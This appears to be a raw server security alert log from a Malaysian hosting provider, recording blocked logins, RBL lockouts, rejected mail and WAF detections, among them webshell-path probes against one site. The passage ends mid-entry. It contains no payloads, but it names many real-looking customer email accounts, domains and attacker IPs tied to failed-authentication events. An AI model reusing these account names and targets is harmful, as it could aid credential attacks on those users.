[2026-01-21 09:02:37 +0800] info [webmaild] 211.25.18.142 - safuddin@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.237.200.128
country_id: 1527747
domain: vmsmotorsports.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vmsmotorsports.com.my/uk-cars.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.241.234.68
country_id: 1562822
domain: vmsmotorsports.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vmsmotorsports.com.my/japan-cars.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 09:05:49 H=([45.144.212.242]) [45.144.212.242]:50953 F=<no_reply@admin.com> rejected RCPT <enquiry@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 09:07:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.210.127.4
country_id: 6252001
description:
2026-01-21 09:08:35 dovecot_login authenticator failed for H=(localhost) [195.210.127.4]:8696: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 09:10:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.29.74.39
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-11.64.29.74.39||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.15.115.236
country_id: 1269750
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwritePieChartExploded3D1.xlsx HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 09:13:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 09:16:16 H=([46.151.182.48]) [46.151.182.48]:58869 F=<mailerd@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.82.139.160
country_id: 3625428
domain: plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/plomalite.com/shop-single.php?id=5269 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.133
country_id: 3175395
description:
Jan 21 09:16:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.133
country_id: 3175395
description:
Jan 21 09:17:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 09:17:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cert.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.163.177
country_id: 1733045
description:
[2026-01-21 09:19:16 +0800] info [webmaild] 161.142.163.177 - vincent_tan@mckd.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 09:20:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.122.198.56
country_id: 1814991
description:
Jan 21 09:20:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.122.198.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.122.198.56
country_id: 1814991
description:
2026-01-21 09:20:15 dovecot_login authenticator failed for H=([157.122.198.56]) [157.122.198.56]:55691: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 3.149.59.26
country_id: 6252001
description:
2026-01-21  9:21:08 460423 [Warning] Aborted connection 460423 to db: 'unconnected' user: 'unauthenticated' host: '3.149.59.26' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-21 09:21:45 H=([77.83.39.106]) [77.83.39.106]:58014 F=<Fix@coscoshippingspe.nl> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.106 is not allowed to send mail from coscoshippingspe.nl


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 09:21:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.203.44.143
country_id: 2661886
description:
2026-01-21 09:21:56 dovecot_login authenticator failed for H=(localhost) [85.203.44.143]:30500: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 3.149.59.26
country_id: 6252001
description:
2026-01-21  9:22:22 460484 [Warning] Aborted connection 460484 to db: 'unconnected' user: 'unauthenticated' host: '3.149.59.26' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-21 09:23:35 H=([45.144.212.50]) [45.144.212.50]:52329 F=<azlan@permalanka.lk> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from permalanka.lk


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 3.149.59.26
country_id: 6252001
description:
2026-01-21  9:23:33 460533 [Warning] Aborted connection 460533 to db: 'unconnected' user: 'unauthenticated' host: '3.149.59.26' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 3.149.59.26
country_id: 6252001
description:
2026-01-21  9:24:54 460589 [Warning] Aborted connection 460589 to db: 'unconnected' user: 'unauthenticated' host: '3.149.59.26' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 3.149.59.26
country_id: 6252001
description:
2026-01-21  9:24:02 460561 [Warning] Aborted connection 460561 to db: 'unconnected' user: 'unauthenticated' host: '3.149.59.26' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.230.74
country_id: 1269750
description:
Jan 21 09:24:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.230.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-01-21 09:24:08 dovecot_login authenticator failed for H=([182.78.199.185]) [182.95.230.74]:34858: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 09:25:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 09:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62037: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.24.180
country_id: 1562822
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-4.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.161.185.122
country_id: 1562822
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/product/Anti Climb.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.68
country_id: 3175395
description:
Jan 21 09:30:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 09:32:31 H=([45.144.212.242]) [45.144.212.242]:60345 F=<infos@agents-artistes.com> rejected RCPT <aoto@aoto.com.my>: SPF: 45.144.212.242 is not allowed to send mail from agents-artistes.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 09:33:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.171.102
country_id: 3469034
description:
Jan 21 09:33:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.171.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.254.202
country_id: 1814991
description:
2026-01-21 09:33:22 dovecot_plain authenticator failed for H=(lvtxkcn8rerobfdyj7t) [60.223.254.202]:49143: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-21 09:33:47 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.172
country_id: 1269750
description:
Jan 21 09:33:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.203.138.130
country_id: 3144096
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-34.46.203.138.130||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.166
country_id: 3469034
description:
Jan 21 09:34:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.172
country_id: 1269750
description:
2026-01-21 09:33:58 dovecot_plain authenticator failed for H=(hvkdy5y7w2lfbausu376011xrdg0uxs) [122.187.229.172]:51764: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 09:36:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-21 09:39:44 +0800] info [webmaild] 219.95.228.51 - support@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-21 09:41:47 +0800] info [webmaild] 219.95.228.51 - info@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 09:41:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.188.34.146
country_id: 3996063
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=449403 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 09:42:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.30
country_id: 690791
description:
Jan 21 09:43:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.11.167
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/logo_reward2.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.182.24.56
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/logo_reward5.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.40.26
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/logo_reward1.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.80.59
country_id: 3865483
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/logo_reward4.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-21 09:44:15 H=([45.144.212.54]) [45.144.212.54]:52602 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-21 09:44:25 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.172.67
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/logo_reward6.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 73.203.64.135
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-45.73.203.64.135||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-21 09:46:36 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 152.32.133.174
country_id: 1819730
description:
2026-01-21  9:50:06 461687 [Warning] Aborted connection 461687 to db: 'unconnected' user: 'unauthenticated' host: '152.32.133.174' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.86.200.246
country_id: 2750405
description:
2026-01-21 09:51:34 dovecot_login authenticator failed for H=(localhost) [45.86.200.246]:61485: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-21 09:51:46 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.219
country_id: 2993457
description:
2026-01-21 09:52:43 dovecot_login authenticator failed for H=(localhost) [98.159.226.219]:49782: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.219
country_id: 2993457
description:
2026-01-21 09:53:23 dovecot_login authenticator failed for H=(localhost) [98.159.226.219]:31274: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 09:54:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:65499: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 202.44.238.177
country_id: 1605651
description:
2026-01-21  9:54:18 461896 [Warning] Aborted connection 461896 to db: 'unconnected' user: 'unauthenticated' host: '202.44.238.177' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.136
country_id: 3865483
description:
Jan 21 09:55:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 09:55:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.136
country_id: 3865483
description:
Jan 21 09:56:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.202.184.174
country_id: 3469034
domain: gagasanteguh.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/gagasanteguh.com.my/wp/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 09:58:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-21 10:00:00 H=([127.0.0.1]) [103.197.57.71]:36312 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.205
country_id: 6252001
description:
Jan 21 10:03:10 sv3 pure-ftpd[2512664]: (?@205.210.31.205) [INFO] New connection from 205.210.31.205


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.41
country_id: 719819
description:
Jan 21 10:03:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.178.56.33
country_id: 3703430
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/Bundle1Bundle HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.110.218.5
country_id: 6252001
description:
2026-01-21 10:04:29 dovecot_login authenticator failed for H=(localhost) [176.110.218.5]:24979: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 10:05:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.197.18.175
country_id: 3996063
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/sirim.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.57
country_id: 732800
description:
Jan 21 10:08:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.126
country_id: 3175395
description:
Jan 21 10:09:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 10:09:05 H=([45.144.212.242]) [45.144.212.242]:57802 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-21 10:09:11 H=([77.83.39.92]) [77.83.39.92]:59851 F=<yling123456@gmail.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 10:10:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.171.188.210
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=899701 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.9.94
country_id: 3996063
description:
Jan 21 10:14:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.9.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.28
country_id: 953987
description:
Jan 21 10:14:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.78
country_id: 3469034
description:
Jan 21 10:14:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.78
country_id: 3469034
description:
Jan 21 10:14:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.62.14.216
country_id: 1819730
domain: solidfence.com.my
description:
